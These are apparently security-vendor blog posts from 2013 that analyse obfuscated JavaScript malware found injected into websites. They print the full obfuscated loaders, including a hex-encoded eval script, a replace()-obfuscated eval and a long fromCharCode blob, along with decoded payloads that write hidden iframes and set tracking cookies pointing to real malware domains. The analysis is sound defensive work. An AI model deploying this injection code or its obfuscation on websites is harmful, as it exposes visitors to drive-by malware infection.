Thursday, November 28, 2013

Threat Code Mixed With Google Analytics Redirects Visitors To Malware Distributor

Obfuscated malicious JavaScript code combined with GA code

Background

Online Website Malware Scanner has identified malicious JavaScript code injection in the scanned website. Obfuscated JavaScript comes right after the valid GA code and placed in index.html.

One might assume that the GA code was embedded by attacker as well to monitor his success. However, this might be a simple coincidence. Interestingly, the website is in Google blacklist database. Below you will find payload analysis and threat dump.

For public databases of site scan reports:

Clean domains

Potentially Suspicious domains

Suspicious domains

Malicious domains

For global web malware monitoring statistic and severity levels:

Last day

Last week

Last month

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Website malware scanner report

Submission date: Thu Nov 28 14:18:42 2013

Infected website's files: 1

Website malware scan report link: http://goo.gl/S4oz7N

Online Website Malware Scanner sitescan overview

Malware entry

Beautified script

Malicious payload

Decoded payload generates hidden iframe to http://private3[.]zapto[.]org/blog/vlqsryyacr.php?vaowv=NHcCqUFS&hrytewsfd=9889439&yjresfd=854

Payload:
<iframe src="http://private3[.]zapto[.]org/blog/vlqsryyacr.php?vaowv=NHcCqUFS&hrytewsfd=9889439&yjresfd=854" name="yfejCPCzbA" title="NesXoYGTBz" width="0" height="0" frameborder="0"></iframe>

Blacklisting status

The website is Suspicious on Google Safe Browsing.

VirusTotal URL scan reports 8/51 antivirus and malware detection engines identified the redirect IP as malicious site.

VirusTotal URL scan report screenshot

Malware clean-up

Uncovering online threats and hidden malware is easy and effective with Online Malware Scanner. However, if you suspect that your website was infected, use Website Anti-malware Monitoring for malware removal.

Alternatively, you can try to remove malware using Quttera's website scan report. You will then need to submit your website(s) for re-testing and removing from blacklist.

Monday, November 18, 2013

JavaScript Malware In Website Injecting Malicious Iframes

Compromised website infected with malicious JavaScript

Background

Online Website Malware Scanner has identified malicious JavaScript code injection in the scanned website. Obfuscated JavaScript malware injects malicious iframes into the website page(s). Having styling attributes crafted in such a way to be invisible to website visitors, they download content in the background from remote malware distributor.

Similar to discussed in other posts about malicious iframes in websites, this malware is obfuscated and in addition uses cookie bomb technique to evade Anti-Viruses and other detection mechanisms.

Public databases of site scan reports for:
Clean domains
Potentially Suspicious domains
Suspicious domains
Malicious domains

For global web malware monitoring statistic and severity levels:
Last day
Last week
Last month

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Malware entry details

Obfuscated execution of JavaScript "eval" function.

Beautified script

try {
+ function () {
if (document.querySelector)++(window[vz].body) == null
}()
} catch (q) {
aa = function (ff) {
ff = "fr" + "omCh" + ff;
for (i = 0; i < z.length; i++) {
za += String[ff](e(v + (z[i])) - (13));
}
};
};
e = (eval);
v = "0x";
a = 0;
try {;
} catch (zz) {
a = 1
}
if (!a) {
try {
++e(vz)["\x62o" + "d" + z]
} catch (q) {
a2 = "^";
}
z ="2d^73^82^7b^70^81^76^7c^7b^2d^7f^7d^3d^46^35^36^2d^88^1a^17^2d^83^6e^7f^2d^80^81^6e^81^76^70^4a^34^6e^77^6e^85^34^48^1a^17^2d^83^6e^7f^2d^70^7c^7b^81^7f^7c^79^79^72^7f^4a^34^76^7b^71^72^85^3b^7d^75^7d^34^48^1a^17^2d^83^6e^7f^2d^7f^7d^2d^4a^2d^71^7c^70^82^7a^72^7b^81^3b^70^7f^72^6e^81^72^52^79^72^7a^72^7b^81^35^34^76^73^7f^6e^7a^72^34^36^48^1a^17^1a^17^2d^7f^7d^3b^80^7f^70^2d^4a^2d^34^75^81^81^7d^47^3c^3c^7a^6e^7b^74^7c^79^3b^70^7c^3b^82^78^3c^70^79^6e^80^80^3c^44^57^5e^45^81^5f^58^59^3b^7d^75^7d^34^48^1a^17^2d^7f^7d^3b^80^81^86^79^72^3b^7d^7c^80^76^81^76^7c^7b^2d^4a^2d^34^6e^6f^80^7c^79^82^81^72^34^48^1a^17^2d^7f^7d^3b^80^81^86^79^72^3b^70^7c^79^7c^7f^2d^4a^2d^34^3d^45^43^45^34^48^1a^17^2d^7f^7d^3b^80^81^86^79^72^3b^75^72^76^74^75^81^2d^4a^2d^34^3d^45^43^45^7d^85^34^48^1a^17^2d^7f^7d^3b^80^81^86^79^72^3b^84^76^71^81^75^2d^4a^2d^34^3d^45^43^45^7d^85^34^48^1a^17^2d^7f^7d^3b^80^81^86^79^72^3b^79^72^73^81^2d^4a^2d^34^3e^3d^3d^3d^3d^45^43^45^34^48^1a^17^2d^7f^7d^3b^80^81^86^79^72^3b^81^7c^7d^2d^4a^2d^34^3e^3d^3d^3d^3d^45^43^45^34^48^1a^17^1a^17^2d^76^73^2d^35^2e^71^7c^70^82^7a^72^7b^81^3b^74^72^81^52^79^72^7a^72^7b^81^4f^86^56^71^35^34^7f^7d^34^36^36^2d^88^1a^17^2d^71^7c^70^82^7a^72^7b^81^3b^84^7f^76^81^72^35^34^49^7d^2d^76^71^4a^69^34^7f^7d^69^34^2d^70^79^6e^80^80^4a^69^34^7f^7d^3d^46^69^34^2d^4b^49^3c^7d^4b^34^36^48^1a^17^2d^71^7c^70^82^7a^72^7b^81^3b^74^72^81^52^79^72^7a^72^7b^81^4f^86^56^71^35^34^7f^7d^34^36^3b^6e^7d^7d^72^7b^71^50^75^76^79^71^35^7f^7d^36^48^1a^17^2d^8a^1a^17^8a^1a^17^73^82^7b^70^81^76^7c^7b^2d^60^72^81^50^7c^7c^78^76^72^35^70^7c^7c^78^76^72^5b^6e^7a^72^39^70^7c^7c^78^76^72^63^6e^79^82^72^39^7b^51^6e^86^80^39^7d^6e^81^75^36^2d^88^1a^17^2d^83^6e^7f^2d^81^7c^71^6e^86^2d^4a^2d^7b^72^84^2d^51^6e^81^72^35^36^48^1a^17^2d^83^6e^7f^2d^72^85^7d^76^7f^72^2d^4a^2d^7b^72^84^2d^51^6e^81^72^35^36^48^1a^17^2d^76^73^2d^35^7b^51^6e^86^80^4a^4a^7b^82^79^79^2d^89^89^2d^7b^51^6e^86^80^4a^4a^3d^36^2d^7b^51^6e^86^80^4a^3e^48^1a^17^2d^72^85^7d^76^7f^72^3b^80^72^81^61^76^7a^72^35^81^7c^71^6e^86^3b^74^72^81^61^76^7a^72^35^36^2d^38^2d^40^43^3d^3d^3d^3d^3d^37^3f^41^37^7b^51^6e^86^80^36^48^1a^17^2d^71^7c^70^82^7a^72^7b^81^3b^70^7c^7c^78^76^72^2d^4a^2d^70^7c^7c^78^76^72^5b^6e^7a^72^38^2f^4a^2f^38^72^80^70^6e^7d^72^35^70^7c^7c^78^76^72^63^6e^79^82^72^36^1a^17^2d^38^2d^2f^48^72^85^7d^76^7f^72^80^4a^2f^2d^38^2d^72^85^7d^76^7f^72^3b^81^7c^54^5a^61^60^81^7f^76^7b^74^35^36^2d^38^2d^35^35^7d^6e^81^75^36^2d^4c^2d^2f^48^2d^7d^6e^81^75^4a^2f^2d^38^2d^7d^6e^81^75^2d^47^2d^2f^2f^36^48^1a^17^8a^1a^17^73^82^7b^70^81^76^7c^7b^2d^54^72^81^50^7c^7c^78^76^72^35^2d^7b^6e^7a^72^2d^36^2d^88^1a^17^2d^83^6e^7f^2d^80^81^6e^7f^81^2d^4a^2d^71^7c^70^82^7a^72^7b^81^3b^70^7c^7c^78^76^72^3b^76^7b^71^72^85^5c^73^35^2d^7b^6e^7a^72^2d^38^2d^2f^4a^2f^2d^36^48^1a^17^2d^83^6e^7f^2d^79^72^7b^2d^4a^2d^80^81^6e^7f^81^2d^38^2d^7b^6e^7a^72^3b^79^72^7b^74^81^75^2d^38^2d^3e^48^1a^17^2d^76^73^2d^35^2d^35^2d^2e^80^81^6e^7f^81^2d^36^2d^33^33^1a^17^2d^35^2d^7b^6e^7a^72^2d^2e^4a^2d^71^7c^70^82^7a^72^7b^81^3b^70^7c^7c^78^76^72^3b^80^82^6f^80^81^7f^76^7b^74^35^2d^3d^39^2d^7b^6e^7a^72^3b^79^72^7b^74^81^75^2d^36^2d^36^2d^36^1a^17^2d^88^1a^17^2d^7f^72^81^82^7f^7b^2d^7b^82^79^79^48^1a^17^2d^8a^1a^17^2d^76^73^2d^35^2d^80^81^6e^7f^81^2d^4a^4a^2d^3a^3e^2d^36^2d^7f^72^81^82^7f^7b^2d^7b^82^79^79^48^1a^17^2d^83^6e^7f^2d^72^7b^71^2d^4a^2d^71^7c^70^82^7a^72^7b^81^3b^70^7c^7c^78^76^72^3b^76^7b^71^72^85^5c^73^35^2d^2f^48^2f^39^2d^79^72^7b^2d^36^48^1a^17^2d^76^73^2d^35^2d^72^7b^71^2d^4a^4a^2d^3a^3e^2d^36^2d^72^7b^71^2d^4a^2d^71^7c^70^82^7a^72^7b^81^3b^70^7c^7c^78^76^72^3b^79^72^7b^74^81^75^48^1a^17^2d^7f^72^81^82^7f^7b^2d^82^7b^72^80^70^6e^7d^72^35^2d^71^7c^70^82^7a^72^7b^81^3b^70^7c^7c^78^76^72^3b^80^82^6f^80^81^7f^76^7b^74^35^2d^79^72^7b^39^2d^72^7b^71^2d^36^2d^36^48^1a^17^8a^1a^17^76^73^2d^35^7b^6e^83^76^74^6e^81^7c^7f^3b^70^7c^7c^78^76^72^52^7b^6e^6f^79^72^71^36^1a^17^88^1a^17^76^73^35^54^72^81^50^7c^7c^78^76^72^35^34^83^76^80^76^81^72^71^6c^82^7e^34^36^4a^4a^42^42^36^88^8a^72^79^80^72^88^60^72^81^50^7c^7c^78^76^72^35^34^83^76^80^76^81^72^71^6c^82^7e^34^39^2d^34^42^42^34^39^2d^34^3e^34^39^2d^34^3c^34^36^48^1a^17^1a^17^7f^7d^3d^46^35^36^48^1a^17^8a^1a^17^8a".split(a2);
za = "";
aa("arCode");
e("" + za);
}

Malicious payload

Decoded payload generates hidden iframe to hxxp://mangol.co.uk

function rp09() {
var static = 'ajax';
var controller = 'index.php';
var rp = document.createElement('iframe');
rp.src = 'http://mangol.co.uk/class/7JQ8tRKL.php';
rp.style.position = 'absolute';
rp.style.color = '0868';
rp.style.height = '0868px';
rp.style.width = '0868px';
rp.style.left = '10000868';
rp.style.top = '10000868';
if (!document.getElementById('rp')) {
document.write('<p id=\'rp\' class=\'rp09\' ></p>');
document.getElementById('rp').appendChild(rp);
}
}
function SetCookie(cookieName, cookieValue, nDays, path) {
var today = new Date();
var expire = new Date();
if (nDays == null || nDays == 0) nDays = 1;
expire.setTime(today.getTime() + 3600000 * 24 * nDays);
document.cookie = cookieName + "=" + escape(cookieValue)
+ ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie(name) {
var start = document.cookie.indexOf(name + "=");
var len = start + name.length + 1;
if ((!start) &&
(name != document.cookie.substring(0, name.length)))
{
return null;
}
if (start == -1) return null;
var end = document.cookie.indexOf(";", len);
if (end == -1) end = document.cookie.length;
return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled)
{
if (GetCookie('visited_uq') == 55) {} else {
SetCookie('visited_uq', '55', '1', '/');
rp09();
}
}*/

Blacklisting status

The URL is detected by 3/51 Anti-Virus engines in VirusTotal and noted as being infecting several domains through software vulnerability exploits.

VirusTotal report

Malware clean-up

Being blacklisted, usually, means your website was compromised and detected actively distributed malware or acting as an intermediate in malicious chain. If you suspect that your website was infected, use Website Anti-malware Monitoring for malware removal.

Alternatively, you can try to remove malware using Quttera's website scan report. You will then need to submit your website(s) for re-testing and removing from blacklist.

Wednesday, November 6, 2013

JavaScript Malware In Websites

Obfuscated malicious JavaScript code snippets that were detected on scanned websites

Background

Online Website Malware Scanner processes thousands of websites weekly to identify suspicious code 'under the hood' of the legitimate web content. Detected malware code snippets are included in site scan malware report. Database of the scanned domains is publicly available and you can review malware report for each one of scanned websites.

This post covers two examples of web malware. First sample is the hidden iframe to malicious and blacklisted domain. Second sample shows more sophisticated technique that uses multiple obfuscation levels. Finally, the payload itself is interesting as well since it generates new URL for iframe each time user visits this website. The second part of this URL points to runforestrun botnet.

Review site scan reports for:
Clean domains
Potentially Suspicious domains
Suspicious domains
Malicious domains

For statistics on website malware and severity levels:
Last day
Last week
Last month

Sample 1

Detected hidden iframe by malicious code using JavaScript eval function. Iframe downloads content from the blacklisted domain that has already infected 87 other domains over last 90 days as per Google Safe Browsing report.

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Malware details

Beautified script

eval("d((*)%26!o$^!%c$[[^@%26um((*)%26!e$[[^@%26n[@%26%^t.w$[[^@%26r((*)%26!i((*)%26!t$^!%e(%26@)%26]('(%26@)%26]<i[@%26%^f$^!%r[@%26%^a((*)%26!m$[[^@%26e$[[^@%26 (%26@)%26]s[@%26%^rc[@%26%^=$^!%h$[[^@%26t$^!%t$[[^@%26p$[[^@%26:((*)%26!/(%26@)%26]/$^!%u$[[^@%26p[@%26%^d[@%26%^a[@%26%^t$^!%e$[[^@%26da((*)%26!t$^!%e(%26@)%26].[@%26%^c(%26@)%26]n/$^!% $^!%h(%26@)%26]e(%26@)%26]i$[[^@%26g$[[^@%26h$^!%t$^!%=$^!%1$[[^@%26 [@%26%^w$[[^@%26i((*)%26!d(%26@)%26]th(%26@)%26]=1(%26@)%26]></((*)%26!i$[[^@%26f((*)%26!r$^!%a$^!%m((*)%26!e>'$^!%)$[[^@%26;[@%26%^".replace(/$\%26\@$\%26\]|\$\^\!\%|$\(\*$\%26\!|\$\[\[\^\@\%26|\[\@\%26\%\^/ig, ""))

Malicious payload

Decoded payload injects hidden iframe to http://updatedate.cn/

document.write('<iframe src=http://updatedate.cn/ height=1 width=1></iframe>');

Blacklisting status

The website is Suspicious on Google Safe Browsing.

Google Safe Browsing diagnostic

Sample 2

Multiple obfuscation of JavaScript malware to hide payload that generates hidden iframe to remote malware domain(s).

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Malware details

Beautified script

First obfuscation level using window.eval:

window.eval(String.fromCharCode(116, 114, 121, 123, 112, 114, 111, 116, 111, 116, 121, 112, 101, 37, 50, 59, 125,99, 97, 116, 99, 104, 40, 97, 115, 100, 41, 123, 120, 61, 50, 59, 125, 116, 114, 121, 123, 113, 61, 100, 111, 99,117, 109, 101, 110, 116, 91, 40, 120, 41, 63, 34, 99, 34, 43, 34, 114, 34, 58, 50, 43, 34, 101, 34, 43, 34, 97,34, 43, 34, 116, 34, 43, 34, 101, 34, 43, 34, 69, 34, 43, 34, 108, 34, 43, 34, 101, 34, 43, 34, 109, 34, 43, 40,40, 102, 41, 63, 34, 101, 34, 43, 34, 110, 34, 43, 34, 116, 34, 58, 34, 34, 41, 93, 40, 34, 112, 34, 41, 59, 113,46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 113, 43, 34, 34, 41, 59, 125, 99, 97, 116, 99, 104,40, 102, 119, 98, 101, 119, 101, 41, 123, 105, 61, 48, 59, 116, 114, 121, 123, 112, 114, 111, 116, 111, 116, 121,112, 101, 42, 53, 59, 125, 99, 97, 116, 99, 104, 40, 122, 41, 123, 102, 114, 61, 34, 102, 114, 111, 109, 67, 104,97, 114, 34, 59, 102, 61, 91, 53, 49, 48, 44, 55, 48, 50, 44, 53, 53, 48, 44, 53, 57, 52, 44, 53, 56, 48, 44, 54,51, 48, 44, 53, 53, 53, 44, 54, 54, 48, 44, 49, 54, 48, 44, 54, 54, 48, 44, 53, 48, 53, 44, 55, 50, 48, 44, 53,56, 48, 44, 52, 57, 50, 44, 52, 56, 53, 44, 54, 54, 48, 44, 53, 48, 48, 44, 54, 54, 54, 44, 53, 52, 53, 44, 52,54, 56, 44, 53, 56, 53, 44, 54, 53, 52, 44, 52, 57, ...
48, 56, 44, 52, 56, 53, 44, 54, 57, 54, 44, 53, 48, 53, 44, 50, 52, 48, 44, 50, 48, 53, 44, 49, 57, 50, 44, 50,49, 48, 44, 49, 57, 50, 44, 50, 52, 48, 44, 55, 50, 48, 44, 51, 53, 48, 44, 52, 50, 48, 44, 51, 53, 48, 44, 52,50, 48, 44, 50, 48, 53, 44, 50, 53, 56, 44, 49, 54, 48, 44, 50, 52, 48, 44, 51, 56, 53, 44, 53, 56, 50, 44, 53,56, 48, 44, 54, 50, 52, 44, 50, 51, 48, 44, 54, 56, 52, 44, 53, 53, 53, 44, 55, 48, 50, 44, 53, 53, 48, 44, 54,48, 48, 44, 50, 48, 48, 44, 54, 57, 48, 44, 49, 54, 48, 44, 50, 53, 50, 44, 49, 54, 48, 44, 50, 56, 56, 44, 54,48, 48, 44, 52, 50, 48, 44, 51, 53, 48, 44, 52, 50, 48, 44, 50, 48, 53, 44, 50, 52, 54, 44, 50, 57, 53, 44, 54,48, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 53, 56, 48, 44, 54, 50, 52, 44, 53, 50,53, 44, 54, 57, 48, 44, 50, 51, 48, 44, 51, 57, 48, 44, 49, 54, 48, 44, 51, 54, 54, 44, 49, 54, 48, 44, 51, 49,50, 44, 50, 56, 48, 44, 51, 48, 48, 44, 50, 55, 53, 44, 50, 57, 52, 44, 50, 57, 53, 44, 54, 48, 44, 49, 54, 48,44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 53, 56, 48, 44, 54, 50, 52, 44, 53, 50, 53, 44, 54, 57, 48,44, 50, 51, 48, 44, 52, 54, 50, 44, 49, 54, 48, 44, 51, 54, 54, 44, 49, 54, 48, 44, 51, 48, 48, 44, 50, 52, 53,44, 51, 49, 50, 44, 50, 55, 53, 44, 51, 49, 50, 44, 50, 56, 48, 44, 51, 48, 54, 44, 50, 55, 48, 44, 51, 49, 50,44, 50, 55, 53, 44, 51, 53, 52, 44, 53, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44,54, 57, 54, 44, 53, 50, 48, 44, 54, 51, 48, 44, 53, 55, 53, 44, 50, 55, 54, 44, 52, 48, 53, 44, 49, 57, 50, 44,51, 48, 53, 44, 49, 57, 50, 44, 53, 56, 48, 44, 54, 50, 52, 44, 53, 50, 53, 44, 54, 57, 48, 44, 50, 51, 48, 44,52, 54, 50, 44, 49, 54, 48, 44, 50, 56, 50, 44, 49, 54, 48, 44, 54, 57, 54, 44, 53, 50, 48, 44, 54, 51, 48, 44,53, 55, 53, 44, 50, 55, 54, 44, 51, 50, 53, 44, 51, 53, 52, 44, 53, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49,57, 50, 44, 49, 54, 48, 44, 54, 57, 54, 44, 53, 50, 48, 44, 54, 51, 48, 44, 53, 55, 53, 44, 50, 55, 54, 44, 52,49, 48, 44, 49, 57, 50, 44, 51, 48, 53, 44, 49, 57, 50, 44, 53, 56, 48, 44, 54, 50, ...
50, 51, 52, 44, 50, 50, 48, 44, 50, 51, 52, 44, 53, 52, 48, 44, 50, 51, 52, 44, 50, 50, 48, 44, 50, 51, 52, 44,53, 52, 53, 44, 50, 51, 52, 44, 50, 50, 48, 44, 50, 51, 52, 44, 53, 53, 48, 44, 50, 51, 52, 44, 50, 50, 48, 44,50, 51, 52, 44, 53, 53, 53, 44, 50, 51, 52, 44, 50, 50, 48, 44, 50, 51, 52, 44, 53, 54, 48, 44, 50, 51, 52, 44,50, 50, 48, 44, 50, 51, 52, 44, 53, 54, 53, 44, 50, 51, 52, 44, 50, 50, 48, 44, 50, 51, 52, 44, 53, 55, 48, 44,50, 51, 52, 44, 50, 50, 48, 44, 50, 51, 52, 44, 53, 55, 53, 44, 50, 51, 52, 44, 50, 50, 48, 44, 50, 51, 52, 44,53, 56, 48, 44, 50, 51, 52, 44, 50, 50, 48, 44, 50, 51, 52, 44, 53, 56, 53, 44, 50, 51, 52, 44, 50, 50, 48, 44,50, 51, 52, 44, 53, 57, 48, 44, 50, 51, 52, 44, 50, 50, 48, 44, 50, 51, 52, 44, 53, 57, 53, 44, 50, 51, 52, 44,50, 50, 48, 44, 50, 51, 52, 44, 54, 48, 48, 44, 50, 51, 52, 44, 50, 50, 48, 44, 50, 51, 52, 44, 54, 48, 53, 44,50, 51, 52, 44, 50, 50, 48, 44, 50, 51, 52, 44, 54, 49, 48, 44, 50, 51, 52, 44, 52, 54, 53, 44, 51, 53, 52, 44,53, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 55, 48, 56, 44, 52, 56, 53, 44, 54,56, 52, 44, 49, 54, 48, 44, 54, 57, 48, 44, 53, 56, 48, 44, 54, 56, 52, 44, 49, 54, 48, 44, 51, 54, 54, 44, 49,54, 48, 44, 50, 51, 52, 44, 49, 57, 53, 44, 51, 53, 52, 44, 53, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57,50, 44, 49, 54, 48, 44, 54, 49, 50, 44, 53, 53, 53, 44, 54, 56, 52, 44, 50, 48, 48, 44, 55, 48, 56, 44, 52, 56,53, 44, 54, 56, 52, 44, 49, 54, 48, 44, 54, 51, 48, 44, 49, 54, 48, 44, 51, 54, 54, 44, 49, 54, 48, 44, 50, 56,56, 44, 50, 57, 53, 44, 49, 57, 50, 44, 53, 50, 53, 44, 49, 57, 50, 44, 51, 48, 48, 44, 49, 57, 50, 44, 53, 52,48, 44, 54, 48, 54, 44, 53, 53, 48, 44, 54, 49, 56, 44, 53, 56, 48, 44, 54, 50, 52, 44, 50, 57, 53, 44, 49, 57,50, 44, 53, 50, 53, 44, 49, 57, 50, 44, 50, 49, 53, 44, 50, 53, 56, 44, 49, 54, 48, 44, 50, 52, 54, 44, 54, 49,53, 44, 54, 48, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50,44, 49, 54, 48, 44, 49, 57, 50, 44, 53, 55, 53, 44, 54, 57, 54, 44, 53, 55, 48, 44, 49, 57, 50, 44, 50, 49, 53,44, 51, 54, 54, 44, 49, 54, 48, 44, 54, 52, 56, 44, 53, 48, 53, 44, 54, 57, 54, 44, 53, 56, 48, 44, 54, 48, 54,44, 53, 55, 48, 44, 54, 57, 48, 44, 52, 53, 53, 44, 53, 57, 52, 44, 53, 55, 48, 44, 54, 48, 54, 44, 52, 56, 53,44, 54, 57, 54, 44, 53, 48, 53, 44, 52, 57, 50, 44, 52, 56, 53, 44, 54, 54, 48, 44, 53, 48, 48, 44, 54, 54, 54,44, 53, 52, 53, 44, 52, 54, 56, 44, 53, 56, 53, 44, 54, 53, 52, 44, 52, 57, 48, 44, 54, 48, 54, 44, 53, 55, 48,44, 50, 52, 48, 44, 53, 55, 48, 44, 53, 56, 50, 44, 53, 53, 48, 44, 54, 48, 48, 44, 50, 50, 48, 44, 49, 57, 50,44, 50, 52, 48, 44, 50, 54, 52, 44, 49, 54, 48, 44, 54, 52, 56, 44, 53, 48, 53, 44, 54, 57, 54, 44, 53, 56, 48,44, 54, 48, 54, 44, 53, 55, 48, 44, 54, 57, 48, 44, 50, 51, 48, 44, 54, 52, 56, 44, 53, 48, 53, 44, 54, 54, 48,44, 53, 49, 53, 44, 54, 57, 54, 44, 53, 50, 48, 44, 49, 57, 50, 44, 50, 50, 53, 44, 49, 57, 50, 44, 50, 52, 53,44, 50, 52, 54, 44, 52, 54, 53, 44, 51, 53, 52, 44, 53, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44,49, 54, 48, 44, 55, 53, 48, 44, 53, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 54,56, 52, 44, 53, 48, 53, 44, 54, 57, 54, 44, 53, 56, 53, 44, 54, 56, 52, 44, 53, 53, 48, 44, 49, 57, 50, 44, 53,55, 53, 44, 54, 57, 54, 44, 53, 55, 48, 44, 49, 57, 50, 44, 50, 49, 53, 44, 49, 57, 50, 44, 49, 57, 53, 44, 50,55, 54, 44, 49, 57, 53, 44, 49, 57, 50, 44, 50, 49, 53, 44, 49, 57, 50, 44, 54, 49, 48, 44, 54, 54, 54, 44, 53,53, 48, 44, 54, 48, 54, 44, 50, 57, 53, 44, 54, 48, 44, 54, 50, 53, 44, 54, 48, 44, 53, 48, 44, 54, 57, 48, 44,53, 48, 53, 44, 54, 57, 54, 44, 52, 50, 48, 44, 54, 51, 48, 44, 53, 52, 53, 44, 54, 48, 54, 44, 53, 53, 53, 44,55, 48, 50, 44, 53, 56, 48, 44, 50, 52, 48, 44, 53, 49, 48, 44, 55, 48, 50, 44, 53, 53, 48, 44, 53, 57, 52, 44,53, 56, 48, 44, 54, 51, 48, 44, 53, 53, 53, 44, 54, 54, 48, 44, 50, 48, 48, 44, 50, 52, 54, 44, 54, 49, 53, 44,54, 48, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 53, 56, 48, 44, 54, 56, 52, 44, 54,48, 53, 44, 55, 51, 56, 44, 53, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57,50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 54, 51, 48, 44, 53, 49, 48, 44, 50, 52, 48, 44, 53, 56,48, 44, 55, 50, 54, 44, 53, 54, 48, 44, 54, 48, 54, 44, 53, 53, 53, 44, 54, 49, 50, 44, 49, 54, 48, 44, 54, 51,48, 44, 53, 49, 48, 44, 54, 56, 52, 44, 52, 56, 53, 44, 54, 53, 52, 44, 53, 48, 53, 44, 53, 50, 50, 44, 52, 56,53, 44, 54, 57, 48, 44, 51, 51, 53, 44, 54, 56, 52, 44, 53, 48, 53, 44, 53, 56, 50, 44, 53, 56, 48, 44, 54, 48,54, 44, 53, 48, 48, 44, 49, 57, 50, 44, 51, 48, 53, 44, 51, 54, 54, 44, 49, 54, 48, 44, 50, 48, 52, 44, 53, 56,53, 44, 54, 54, 48, 44, 53, 48, 48, 44, 54, 48, 54, 44, 53, 49, 48, 44, 54, 51, 48, 44, 53, 53, 48, 44, 54, 48,54, 44, 53, 48, 48, 44, 50, 48, 52, 44, 50, 48, 53, 44, 55, 51, 56, 44, 53, 48, 44, 49, 57, 50, 44, 49, 54, 48,44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50,44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 54, 51, 48, 44, 53, 49, 48, 44, 54, 56, 52, 44, 52, 56, 53,44, 54, 53, 52, 44, 53, 48, 53, 44, 53, 50, 50, 44, 52, 56, 53, 44, 54, 57, 48, 44, 51, 51, 53, 44, 54, 56, 52,44, 53, 48, 53, 44, 53, 56, 50, 44, 53, 56, 48, 44, 54, 48, 54, 44, 53, 48, 48, 44, 49, 57, 50, 44, 51, 48, 53,44, 49, 57, 50, 44, 53, 56, 48, 44, 54, 56, 52, 44, 53, 56, 53, 44, 54, 48, 54, 44, 50, 57, 53, 44, 54, 48, 44,49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44,49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 53, 57, 48, 44, 53, 56, 50, 44,53, 55, 48, 44, 49, 57, 50, 44, 53, 56, 53, 44, 54, 54, 48, 44, 53, 50, 53, 44, 55, 50, 48, 44, 49, 54, 48, 44,51, 54, 54, 44, 49, 54, 48, 44, 52, 54, 50, 44, 52, 56, 53, 44, 54, 57, 54, 44, 53, 50, 48, 44, 50, 55, 54, 44,53, 55, 48, 44, 54, 54, 54, 44, 53, 56, 53, 44, 54, 54, 48, 44, 53, 48, 48, 44, 50, 52, 48, 44, 50, 49, 53, 44,54, 54, 48, 44, 53, 48, 53, 44, 55, 49, 52, 44, 49, 54, 48, 44, 52, 48, 56, 44, 52, 56, 53, 44, 54, 57, 54, 44,53, 48, 53, 44, 50, 52, 48, 44, 50, 48, 53, 44, 50, 56, 50, 44, 50, 52, 53, 44, 50, 56, 56, 44, 50, 52, 48, 44,50, 56, 56, 44, 50, 48, 53, 44, 51, 53, 52, 44, 53, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49,54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49,57, 50, 44, 49, 54, 48, 44, 55, 48, 56, 44, 52, 56, 53, 44, 54, 56, 52, 44, 49, 54, 48, 44, 54, 48, 48, 44, 53,53, 53, 44, 54, 53, 52, 44, 52, 56, 53, 44, 54, 51, 48, 44, 53, 53, 48, 44, 52, 54, 56, 44, 52, 56, 53, 44, 54,53, 52, 44, 53, 48, 53, 44, 49, 57, 50, 44, 51, 48, 53, 44, 49, 57, 50, 44, 53, 49, 53, 44, 54, 48, 54, 44, 53,53, 48, 44, 54, 48, 54, 44, 53, 55, 48, 44, 53, 56, 50, 44, 53, 56, 48, 44, 54, 48, 54, 44, 52, 48, 48, 44, 54,57, 48, 44, 53, 48, 53, 44, 55, 48, 50, 44, 53, 48, 48, 44, 54, 54, 54, 44, 52, 49, 48, 44, 53, 56, 50, 44, 53,53, 48, 44, 54, 48, 48, 44, 53, 53, 53, 44, 54, 53, 52, 44, 52, 49, 53, 44, 54, 57, 54, 44, 53, 55, 48, 44, 54,51, 48, 44, 53, 53, 48, 44, 54, 49, 56, 44, 50, 48, 48, 44, 55, 48, 50, 44, 53, 53, 48, 44, 54, 51, 48, 44, 54,48, 48, 44, 50, 54, 52, 44, 49, 54, 48, 44, 50, 57, 52, 44, 50, 55, 48, 44, 50, 54, 52, 44, 49, 54, 48, 44, 50,51, 52, 44, 53, 55, 48, 44, 55, 48, 50, 44, 49, 57, 53, 44, 50, 52, 54, 44, 50, 57, 53, 44, 54, 48, 44, 49, 54,48, 44, 